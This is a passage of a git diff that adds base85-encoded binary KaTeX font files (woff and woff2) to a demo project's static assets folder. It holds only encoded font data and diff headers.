z#I&|{5^WZoDi}MawH<`=)+X48xA)nGrGfoV%xpJ;37BC9_6Zkr78vgxCV_Xz35+eZ9=w4G>0%KwrGl^L; zDdFN+x6Ry)g>;)*-zXR(;LyqHu~i9!?y;iHCE;!!n)YHBi;4eK^0pEkZh_^`x5vA) zndo=ewM7D)w{N-2;t8-H1%l#C+uPb$4uVfLMm7t(CFBOZoxHDgHMo3VYxBO=Zr^*y zdwY*ou052!m!R9JJK|m7^f`cw;@1lT3aXL zoB&NLfaX~nn#t`-;A@EVo09*p6Y1G^60m=Z6cfCO9UDnBg0Xw#CAQgF=PVfDp==kG zIk+3n#t6>{E}h-%K`;*xcr3Mt=ma#}RcO~h%NO3Iei4R4ZdbbwG)uYmAYAql6sG}h zV+NdX7p?s{BGB!90P}&|O^TXUiE z3fp8(QaDNGB!yFiW)2EFgoYGO6B<%DLug3hthuf!D4jFcMM~$*b&=A8=DJAfA#+`% zbirH~DP1(zMM{^!C(cm`<4_QrdUd1sFI ztW_lB&sjx6{yg*?v&MU`RU`y2SVcncBG8WSjrTtD&K&Q@tRf+Qzf~mUFG0_7YrGFw zMM7}HDiVU1b2nu(vTbw0n~=<(hC>thvdw0;Eu3!CJZU zd{=fUz6mU+GNf=zWsqc*+}JD$&9~?;L9-0CV)HF(!YuzXIh0QA_Mn$m;2iMM2D#sv z+U+IxUlb^-f|}Y4?xsoATf%b`VkTZXwQf>E1Nq$2;APy*7tx*fwV4lsXP&yn?r_x9 z6o~}>>8C&ys9`EV^-w+dzu);=_!kmw+^a`wV73$7X*Qg87{s=V#`?v(P z1tW zhCQ7(*F{i$%%o}nWd-p4*C9`^{eQ)t%rydk2}r&Lz;GK@a*lcsuGit-!em2GpzNoobIgo8sc7SYc~VLd}s5x!Sp z7hP?*3Y;Z+d0~&kMOgU^?BL(h2NP37QFmSd9eSq^{P7N$PYjl%he}c@Dh(3XM`fri v*nm8&pa^=`4}B}3;{#NUs#6WHBSWAcBh)DTY5KKG=S!u@5{!W$=V$-F(ixm= literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Script-Regular.woff b/demo/static/dist/assets/KaTeX_Script-Regular.woff new file mode 100644 index 0000000000000000000000000000000000000000..0e7da821eee0dd05a0a6f0b16c2c1345dc573a84 GIT binary patch literal 10588 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 